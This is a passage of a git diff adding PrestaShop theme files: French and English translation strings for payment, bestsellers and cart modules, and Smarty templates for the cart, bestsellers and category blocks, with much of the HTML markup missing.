paiements par virement.'; +$_MODULE['<{bankwire}default>bankwire_cbe0a99684b145e77f3e14174ac212e3'] = 'Êtes-vous certain de vouloir effacer vos données ?'; +$_MODULE['<{bankwire}default>bankwire_0ea0227283d959415eda0cfa31d9f718'] = 'Le titulaire du compte et les informations bancaires doivent être configurés.'; +$_MODULE['<{bankwire}default>bankwire_a02758d758e8bec77a33d7f392eb3f8a'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{bankwire}default>bankwire_bfa43217dfe8261ee7cb040339085677'] = 'Les détails du compte sont requis.'; +$_MODULE['<{bankwire}default>bankwire_ccab155f173ac76f79eb192703f86b18'] = 'Le titulaire du compte est requis.'; +$_MODULE['<{bankwire}default>bankwire_c888438d14855d7d96a2724ee9c306bd'] = 'Mise à jour réussie'; +$_MODULE['<{bankwire}default>bankwire_c1be305030739396775edaca9813f77d'] = 'Ce module vous permet d\'accepter les paiements par virement bancaire.'; +$_MODULE['<{bankwire}default>bankwire_c2886e6bed60f357b08b6e99ac390c25'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{bankwire}default>bankwire_f001fc4497defe598043407d06be06e5'] = 'Par conséquent, vous devez confirmer manuellement la commande dès que vous recevrez le virement.'; +$_MODULE['<{bankwire}default>bankwire_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{bankwire}default>bankwire_51634daae434ad5789f89024b20e4dac'] = 'Veuillez spécifier les détails du compte en banque pour les clients'; +$_MODULE['<{bankwire}default>bankwire_857216dd1b374de9bf54068fcd78a8f3'] = 'Titulaire'; +$_MODULE['<{bankwire}default>bankwire_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{bankwire}default>bankwire_5fe24fbb39b58daacb7c7905ba6e3534'] = 'Comme le code banque, l\'IBAN ou encore le BIC'; +$_MODULE['<{bankwire}default>bankwire_f9a1a1bb716cbae0503d351ea2af4b34'] = 'Adresse de la banque'; +$_MODULE['<{bankwire}default>bankwire_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{bankwire}default>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{bankwire}default>payment_execution_99227bacb2b4dfa29ce1701ac265a923'] = 'Paiement par virement bancaire'; +$_MODULE['<{bankwire}default>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{bankwire}default>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{bankwire}default>payment_execution_05adcee99142c1a60fb38bb1330bbbc1'] = 'virement bancaire'; +$_MODULE['<{bankwire}default>payment_execution_afda466128ee0594745d9f8152699b74'] = 'Vous avez choisi de régler par virement bancaire.'; +$_MODULE['<{bankwire}default>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{bankwire}default>payment_execution_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{bankwire}default>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{bankwire}default>payment_execution_b28be4c423d93e02081f4e79fe2434e8'] = 'Nous acceptons plusieurs devises pour votre virement.'; +$_MODULE['<{bankwire}default>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Merci de choisir parmi les suivantes :'; +$_MODULE['<{bankwire}default>payment_execution_a854d894458d66d92cabf0411c499ef4'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{bankwire}default>payment_execution_3dd021316505c0204989f984246c6ff1'] = 'Nos coordonnées bancaires seront affichées sur la page suivante.'; +$_MODULE['<{bankwire}default>payment_execution_93c1f9dffc8c38b2c108d449a9181d92'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{bankwire}default>payment_execution_baa62374832554652160fe5a827b2741'] = 'Je confirme ma commande'; +$_MODULE['<{bankwire}default>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{bankwire}default>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{bankwire}default>payment_return_1f8cdc30326f1f930b0c87b25fdac965'] = 'Veuillez nous envoyer un virement bancaire avec :'; +$_MODULE['<{bankwire}default>payment_return_b2f40690858b404ed10e62bdf422c704'] = 'un montant de'; +$_MODULE['<{bankwire}default>payment_return_5ca0b1b910f393ed1f9f6fa99e414255'] = 'à l\'ordre de'; +$_MODULE['<{bankwire}default>payment_return_d717aa33e18263b8405ba00e94353cdc'] = 'suivant ces détails'; +$_MODULE['<{bankwire}default>payment_return_984482eb9ff11e6310fef641d2268a2a'] = 'à cette banque'; +$_MODULE['<{bankwire}default>payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d dans le sujet de votre virement.'; +$_MODULE['<{bankwire}default>payment_return_1faa25b80a8d31e5ef25a78d3336606d'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s dans le sujet de votre virement.'; +$_MODULE['<{bankwire}default>payment_return_19c419a8a4f1cd621853376a930a2e24'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{bankwire}default>payment_return_b9a1cae09e5754424e33764777cfcaa0'] = 'Votre commande sera expédiée dès réception de votre virement.'; +$_MODULE['<{bankwire}default>payment_return_ca7e41a658753c87973936d7ce2429a8'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{bankwire}default>payment_return_dfe239de8c0b2453a8e8f7657a191d5d'] = 'support client'; +$_MODULE['<{bankwire}default>payment_return_d15feee53d81ea16269e54d4784fa123'] = 'Nous avons rencontré un problème avec votre commande. Merci de prendre contact avec notre support client'; +$_MODULE['<{bankwire}default>payment_5e1695822fc5af98f6b749ea3cbc9b4c'] = 'Payer par virement bancaire'; +$_MODULE['<{bankwire}default>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Payer par virement bancaire (traitement plus long)'; diff --git a/themes/default/modules/belvg_blockconstructor/translations/en.php b/themes/default/modules/belvg_blockconstructor/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/belvg_blockconstructor/translations/fr.php b/themes/default/modules/belvg_blockconstructor/translations/fr.php new file mode 100755 index 0000000..5bb8bca --- /dev/null +++ b/themes/default/modules/belvg_blockconstructor/translations/fr.php @@ -0,0 +1,17 @@ +adminblockconstructor_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_549da9af0070ccc092190ec04840ca50'] = 'Titre'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_97e7c9a7d06eac006a28bf05467fcc8b'] = 'Lien'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_b1ca6f2e9859419d2dee3286e2b69fb1'] = 'Title'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_ef2f59f06132ddc2e1bc8d00abbe6e02'] = 'Lien'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_7dbb3b9d1883a85f4e8032b77ab01f82'] = 'Hook'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_24a23d787190f2c4812ff9ab11847a72'] = 'Statut'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_d961de3a5ccd2d243ae371142f7a13ac'] = 'Sélectionner une image (FR)'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_28cc9bf71b12b6be89e2bed0dd6215fd'] = 'Sélectionner une image (EN)'; +$_MODULE['<{belvg_blockconstructor}default>adminblockconstructor_5526efd7014a00a73115bcf90883d968'] = 'Une erreur est survenue lors de la tentative de télécharger d\'image .'; diff --git a/themes/default/modules/blockbestsellers/blockbestsellers-home.tpl b/themes/default/modules/blockbestsellers/blockbestsellers-home.tpl new file mode 100755 index 0000000..29f36fb --- /dev/null +++ b/themes/default/modules/blockbestsellers/blockbestsellers-home.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Top sellers' mod='blockbestsellers'}

        + {if isset($best_sellers) AND $best_sellers} +
        + {assign var='liHeight' value=320} + {assign var='nbItemsPerLine' value=4} + {assign var='nbLi' value=$best_sellers|@count} + {math equation="nbLi/nbItemsPerLine" nbLi=$nbLi nbItemsPerLine=$nbItemsPerLine assign=nbLines} + {math equation="nbLines*liHeight" nbLines=$nbLines|ceil liHeight=$liHeight assign=ulHeight} + +

        {l s='All best sellers' mod='blockbestsellers'}

        +
        + {else} +

        {l s='No best sellers at this time' mod='blockbestsellers'}

        + {/if} +
        +
        + diff --git a/themes/default/modules/blockbestsellers/blockbestsellers.tpl b/themes/default/modules/blockbestsellers/blockbestsellers.tpl new file mode 100755 index 0000000..c0c48e5 --- /dev/null +++ b/themes/default/modules/blockbestsellers/blockbestsellers.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $best_sellers|@count > 0} + +
        +

        {l s='D\'autres ont aussi acheté' mod='blockbestsellers'}

        +
        + +
        +
        + + {/if} diff --git a/themes/default/modules/blockbestsellers/translations/en.php b/themes/default/modules/blockbestsellers/translations/en.php new file mode 100755 index 0000000..262c42e --- /dev/null +++ b/themes/default/modules/blockbestsellers/translations/en.php @@ -0,0 +1,7 @@ +blockbestsellers-home_f7be84d6809317a6eb0ff3823a936800'] = 'No best sellers'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_8a3ef2368c72b3c921decb6b255c7ae1'] = 'Other customers have also purchased'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_18d925e4d5b1b569288d119420bbcb42'] = 'Add'; diff --git a/themes/default/modules/blockbestsellers/translations/fr.php b/themes/default/modules/blockbestsellers/translations/fr.php new file mode 100755 index 0000000..afc9eb7 --- /dev/null +++ b/themes/default/modules/blockbestsellers/translations/fr.php @@ -0,0 +1,22 @@ +blockbestsellers-home_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockbestsellers}default>blockbestsellers-home_d3da97e2d9aee5c8fbe03156ad051c99'] = 'Plus d\'infos'; +$_MODULE['<{blockbestsellers}default>blockbestsellers-home_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{blockbestsellers}default>blockbestsellers-home_eae99cd6a931f3553123420b16383812'] = 'Toutes les meilleures ventes'; +$_MODULE['<{blockbestsellers}default>blockbestsellers-home_adc570b472f54d65d3b90b8cee8368a9'] = 'Pas encore de meilleure vente'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_ee520a08f4b3f527b11c4316aa399e84'] = 'Bloc meilleures ventes'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_4f6db60ed6f1c8555648014427822faf'] = 'Ajoute un bloc qui affiche les meilleures ventes de la boutique'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_41385d2dca40c2a2c7062ed7019a20be'] = 'Toujours afficher ce bloc'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_53d61d1ac0507b1bd8cd99db8d64fb19'] = 'Afficher ce bloc même si aucun produit disponible'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_eae99cd6a931f3553123420b16383812'] = 'Toutes les meilleures ventes'; +$_MODULE['<{blockbestsellers}default>blockbestsellers_f7be84d6809317a6eb0ff3823a936800'] = 'Pas encore de meilleure vente'; +$_MODULE['<{blockbestsellers}default>blockbestsellers-home_f7be84d6809317a6eb0ff3823a936800'] = 'Pas encore de meilleure vente'; diff --git a/themes/default/modules/blockcart/blockcart-json.tpl b/themes/default/modules/blockcart/blockcart-json.tpl new file mode 100755 index 0000000..e5a2cc7 --- /dev/null +++ b/themes/default/modules/blockcart/blockcart-json.tpl @@ -0,0 +1,113 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{ldelim} +"products": [ +{if $products} +{foreach from=$products item=product name='products'} +{assign var='productId' value=$product.id_product} +{assign var='productAttributeId' value=$product.id_product_attribute} + {ldelim} + "id": {$product.id_product}, + "link": "{$link->getProductLink($product.id_product, $product.link_rewrite, $product.category, null, null, $product.id_shop, $product.id_product_attribute)|addslashes|replace:'\\\'':'\''}", + "quantity": {$product.cart_quantity}, + "priceByLine": "{if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total}{else}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total_wt}{/if}", + "name": "{$product.name|html_entity_decode:2:'UTF-8'|escape:'htmlall'|truncate:15:'...':true}", + "price": "{if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total}{else}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total_wt}{/if}", + "price_float": "{$product.total}", + "idCombination": {if isset($product.attributes_small)}{$productAttributeId}{else}0{/if}, + "idAddressDelivery": {if isset($product.id_address_delivery)}{$product.id_address_delivery}{else}0{/if}, + "is_gift" : {if isset($product.is_gift) && $product.is_gift}1{else}0{/if}, +{if isset($product.attributes_small)} + "hasAttributes": true, + "attributes": "{$product.attributes_small|addslashes|replace:'\\\'':'\''}", +{else} + "hasAttributes": false, +{/if} + "hasCustomizedDatas": {if isset($customizedDatas.$productId.$productAttributeId)}true{else}false{/if}, + "customizedDatas":[ + {if isset($customizedDatas.$productId.$productAttributeId[$product.id_address_delivery])} + {foreach from=$customizedDatas.$productId.$productAttributeId[$product.id_address_delivery] key='id_customization' item='customization' name='customizedDatas'}{ldelim} +{* This empty line was made in purpose (product addition debug), please leave it here *} + "customizationId": {$id_customization}, + "quantity": "{$customization.quantity}", + "datas": [ + {foreach from=$customization.datas key='type' item='datas' name='customization'} + {ldelim} + "type": "{$type}", + "datas": + [ + {foreach from=$datas key='index' item='data' name='datas'} + {ldelim} + "index": {$index}, + "value": "{$data.value|addslashes|replace: '\\\'':'\''}", + "truncatedValue": "{$data.value|truncate:28:'...'|addslashes|replace: '\\\'':'\''}" + {rdelim}{if !$smarty.foreach.datas.last},{/if} + {/foreach}] + {rdelim}{if !$smarty.foreach.customization.last},{/if} + {/foreach} + ] + {rdelim}{if !$smarty.foreach.customizedDatas.last},{/if} + {/foreach} + {/if} + ] + {rdelim}{if !$smarty.foreach.products.last},{/if} +{/foreach}{/if} +], +"discounts": [ +{if $discounts}{foreach from=$discounts item=discount name='discounts'} + {ldelim} + "id": "{$discount.id_discount}", + "name": "{$discount.name|cat:' : '|cat:$discount.description|truncate:18:'...'|addslashes|replace:'\\\'':'\''}", + "description": "{$discount.description|addslashes|replace:'\\\'':'\''}", + "nameDescription": "{$discount.name|cat:' : '|cat:$discount.description|truncate:18:'...'|addslashes|replace:'\\\'':'\''}", + "code": "{$discount.code}", + "link": "{$link->getPageLink("$order_process", true, NULL, "deleteDiscount={$discount.id_discount}")}", + "price": "{if $priceDisplay == 1}{convertPrice|html_entity_decode:2:'UTF-8' price=$discount.value_tax_exc}{else}{convertPrice|html_entity_decode:2:'UTF-8' price=$discount.value_real}{/if}", + "price_float": "{if $priceDisplay == 1}{$discount.value_tax_exc}{else}{$discount.value_real}{/if}" + {rdelim} + {if !$smarty.foreach.discounts.last},{/if} +{/foreach}{/if} +], +"shippingCost": "{$shipping_cost|html_entity_decode:2:'UTF-8'}", +"shippingCostFloat": "{$shipping_cost_float|html_entity_decode:2:'UTF-8'}", +{if isset($tax_cost)} +"taxCost": "{$tax_cost|html_entity_decode:2:'UTF-8'}", +{/if} +"wrappingCost": "{$wrapping_cost|html_entity_decode:2:'UTF-8'}", +"nbTotalProducts": "{$nb_total_products}", +"total": "{$total|html_entity_decode:2:'UTF-8'}", +"productTotal": "{$product_total|html_entity_decode:2:'UTF-8'}", +{if isset($errors) && $errors} +"hasError" : true, +"errors" : [ +{foreach from=$errors key=k item=error name='errors'} + "{$error|addslashes|html_entity_decode:2:'UTF-8'}" + {if !$smarty.foreach.errors.last},{/if} +{/foreach} +] +{else} +"hasError" : false +{/if} +{rdelim} \ No newline at end of file diff --git a/themes/default/modules/blockcart/blockcart.tpl b/themes/default/modules/blockcart/blockcart.tpl new file mode 100755 index 0000000..287510b --- /dev/null +++ b/themes/default/modules/blockcart/blockcart.tpl @@ -0,0 +1,175 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{* IMPORTANT : If you change some data here, you have to report these changes in the ./blockcart-json.js (to let ajaxCart available) *} + +{if $ajax_allowed} + +{/if} + + + + +
        +

        + {l s='Cart' mod='blockcart'} + {if $ajax_allowed} +   +   + {/if} +

        +
        + +
        + {$cart_qties} + {l s='products' mod='blockcart'} + 1}style="display:none"{/if}>{l s='product' mod='blockcart'} + + {if $cart_qties > 0} + {if $priceDisplay == 1} + {convertPrice price=$cart->getOrderTotal(false)} + {else} + {convertPrice price=$cart->getOrderTotal(true)} + {/if} + {/if} + + {l s='(empty)' mod='blockcart'} +
        + +
        + {if $products} +
        + {foreach from=$products item='product' name='myLoop'} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} +
        + {$product.cart_quantity}x + + {$product.name|truncate:13:'...'|escape:html:'UTF-8'} + {if !isset($customizedDatas.$productId.$productAttributeId) && (!isset($product.is_gift) || !$product.is_gift)} {/if} + + {if !isset($product.is_gift) || !$product.is_gift} + {if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice p="`$product.total`"}{else}{displayWtPrice p="`$product.total_wt`"}{/if} + {else} + {l s='Free!' mod='blockcart'} + {/if} + +
        + {if isset($product.attributes_small)} +
        + {$product.attributes_small} + {/if} + + + {if isset($customizedDatas.$productId.$productAttributeId[$product.id_address_delivery])} + {if !isset($product.attributes_small)}
        {/if} +
          + {foreach from=$customizedDatas.$productId.$productAttributeId[$product.id_address_delivery] key='id_customization' item='customization' name='customizations'} +
        • + + {$customization.quantity}x{if isset($customization.datas.$CUSTOMIZE_TEXTFIELD.0)} + {$customization.datas.$CUSTOMIZE_TEXTFIELD.0.value|escape:html:'UTF-8'|replace:"
          ":" "|truncate:28} + {else} + {l s='Customization #%d:' sprintf=$id_customization|intval mod='blockcart'} + {/if} +
        • + {/foreach} +
        + {if !isset($product.attributes_small)}
        {/if} + {/if} + + {if isset($product.attributes_small)}{/if} + + {/foreach} +
        + {/if} +

        {l s='No products' mod='blockcart'}

        + + +{foreach from=$discounts item=discount} +{if $discount.value_real > 0} + + + + + + +{/if} +{/foreach} + + +

        + {$shipping_cost} + {l s='Shipping' mod='blockcart'} +
        + {if $show_wrapping} + {assign var='cart_flag' value='Cart::ONLY_WRAPPING'|constant} + {if $priceDisplay == 1}{convertPrice price=$cart->getOrderTotal(false, $cart_flag)}{else}{convertPrice price=$cart->getOrderTotal(true, $cart_flag)}{/if} + {l s='Wrapping' mod='blockcart'} +
        + {/if} + {if $show_tax && isset($tax_cost)} + {$tax_cost} + {l s='Tax' mod='blockcart'} +
        + {/if} + {$total} + {l s='Total' mod='blockcart'} +

        + {if $use_taxes && $display_tax_label == 1 && $show_tax} + {if $priceDisplay == 0} +

        + {l s='Prices are tax included' mod='blockcart'} +

        + {/if} + {if $priceDisplay == 1} +

        + {l s='Prices are tax excluded' mod='blockcart'} +

        + {/if} + {/if} +

        + {if $order_process == 'order'}{l s='Cart' mod='blockcart'}{/if} + {l s='Check out' mod='blockcart'} +

        +
        +
        +
        + + diff --git a/themes/default/modules/blockcart/translations/en.php b/themes/default/modules/blockcart/translations/en.php new file mode 100755 index 0000000..6152135 --- /dev/null +++ b/themes/default/modules/blockcart/translations/en.php @@ -0,0 +1,12 @@ +blockcart_c2e1362a9710a3dd86f937c2ea1f336d'] = 'Panier'; +$_MODULE['<{blockcart}default>blockcart_e03093a5753b436ee1de63b6e3e1bd02'] = 'Adds a block containing the customer\'s shopping cart.'; +$_MODULE['<{blockcart}default>blockcart_ed6e9a09a111035684bb23682561e12d'] = 'Please remove this product from my cart.'; +$_MODULE['<{blockcart}default>blockcart_86024cad1e83101d97359d7351051156'] = 'Products'; +$_MODULE['<{blockcart}default>blockcart_f5bf48aa40cad7891eb709fcf1fde128'] = 'Product'; +$_MODULE['<{blockcart}default>blockcart_0d11c2b75cf03522c8d97938490466b2'] = 'Prices include tax.'; +$_MODULE['<{blockcart}default>blockcart_41202aa6b8cf7ae885644717dab1e8b4'] = 'Prices do not include tax.'; +$_MODULE['<{blockcart}default>blockcart_377e99e7404b414341a9621f7fb3f906'] = 'Checkout'; diff --git a/themes/default/modules/blockcart/translations/fr.php b/themes/default/modules/blockcart/translations/fr.php new file mode 100755 index 0000000..3ed245f --- /dev/null +++ b/themes/default/modules/blockcart/translations/fr.php @@ -0,0 +1,40 @@ +blockcart_c2e1362a9710a3dd86f937c2ea1f336d'] = 'Bloc panier'; +$_MODULE['<{blockcart}default>blockcart_e03093a5753b436ee1de63b6e3e1bd02'] = 'Ajoute un bloc avec le contenu du panier du client'; +$_MODULE['<{blockcart}default>blockcart_eb4ae207521bbe6403f7fe9564d38cda'] = 'Ajax : choix non valable.'; +$_MODULE['<{blockcart}default>blockcart_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockcart}default>blockcart_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockcart}default>blockcart_614a8820aa4ac08ce2ee398a41b10778'] = 'Panier Ajax'; +$_MODULE['<{blockcart}default>blockcart_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockcart}default>blockcart_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockcart}default>blockcart_dba281afb9a38e654ea9dab4cd6cb0ca'] = 'Activer le mode Ajax du panier (compatible avec le thème par défaut)'; +$_MODULE['<{blockcart}default>blockcart_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcart}default>blockcart_20351b3328c35ab617549920f5cb4939'] = 'Personnalisation n°'; +$_MODULE['<{blockcart}default>blockcart_0da4d96cad73748e2f608d31cfb3247c'] = 'supprimer cet article du panier'; +$_MODULE['<{blockcart}default>blockcart_c6995d6cc084c192bc2e742f052a5c74'] = 'Livraison gratuite !'; +$_MODULE['<{blockcart}default>blockcart_e7a6ca4e744870d455a57b644f696457'] = 'Gratuit !'; +$_MODULE['<{blockcart}default>blockcart_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockcart}default>blockcart_0c3bf3014aafb90201805e45b5e62881'] = 'Voir mon panier'; +$_MODULE['<{blockcart}default>blockcart_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier'; +$_MODULE['<{blockcart}default>blockcart_068f80c7519d0528fb08e82137a72131'] = 'articles'; +$_MODULE['<{blockcart}default>blockcart_deb10517653c255364175796ace3553f'] = 'article'; +$_MODULE['<{blockcart}default>blockcart_9e65b51e82f2a9b9f72ebe3e083582bb'] = '(vide)'; +$_MODULE['<{blockcart}default>blockcart_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détails de l\'article'; +$_MODULE['<{blockcart}default>blockcart_3d9e3bae9905a12dae384918ed117a26'] = 'Personnalisation n°%d :'; +$_MODULE['<{blockcart}default>blockcart_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produit'; +$_MODULE['<{blockcart}default>blockcart_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Expédition'; +$_MODULE['<{blockcart}default>blockcart_ba794350deb07c0c96fe73bd12239059'] = 'Emballage'; +$_MODULE['<{blockcart}default>blockcart_4b78ac8eb158840e9638a3aeb26c4a9d'] = 'Taxes'; +$_MODULE['<{blockcart}default>blockcart_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{blockcart}default>blockcart_52a1f8f55ec919087809ef31b72c31c8'] = 'Les prix sont TTC'; +$_MODULE['<{blockcart}default>blockcart_3c5a90ab81573c044caffb847d9157f6'] = 'Les prix sont HT'; +$_MODULE['<{blockcart}default>blockcart_6ff063fbc860a79759a7369ac32cee22'] = 'Commander'; +$_MODULE['<{blockcart}default>blockcart_ed6e9a09a111035684bb23682561e12d'] = 'supprimer cet article du panier'; +$_MODULE['<{blockcart}default>blockcart_86024cad1e83101d97359d7351051156'] = 'articles'; +$_MODULE['<{blockcart}default>blockcart_f5bf48aa40cad7891eb709fcf1fde128'] = 'article'; +$_MODULE['<{blockcart}default>blockcart_0d11c2b75cf03522c8d97938490466b2'] = 'Les prix sont TTC'; +$_MODULE['<{blockcart}default>blockcart_41202aa6b8cf7ae885644717dab1e8b4'] = 'Les prix sont HT'; +$_MODULE['<{blockcart}default>blockcart_377e99e7404b414341a9621f7fb3f906'] = 'Commander'; diff --git a/themes/default/modules/blockcategories/blockcategories.tpl b/themes/default/modules/blockcategories/blockcategories.tpl new file mode 100755 index 0000000..fbb8cb7 --- /dev/null +++ b/themes/default/modules/blockcategories/blockcategories.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
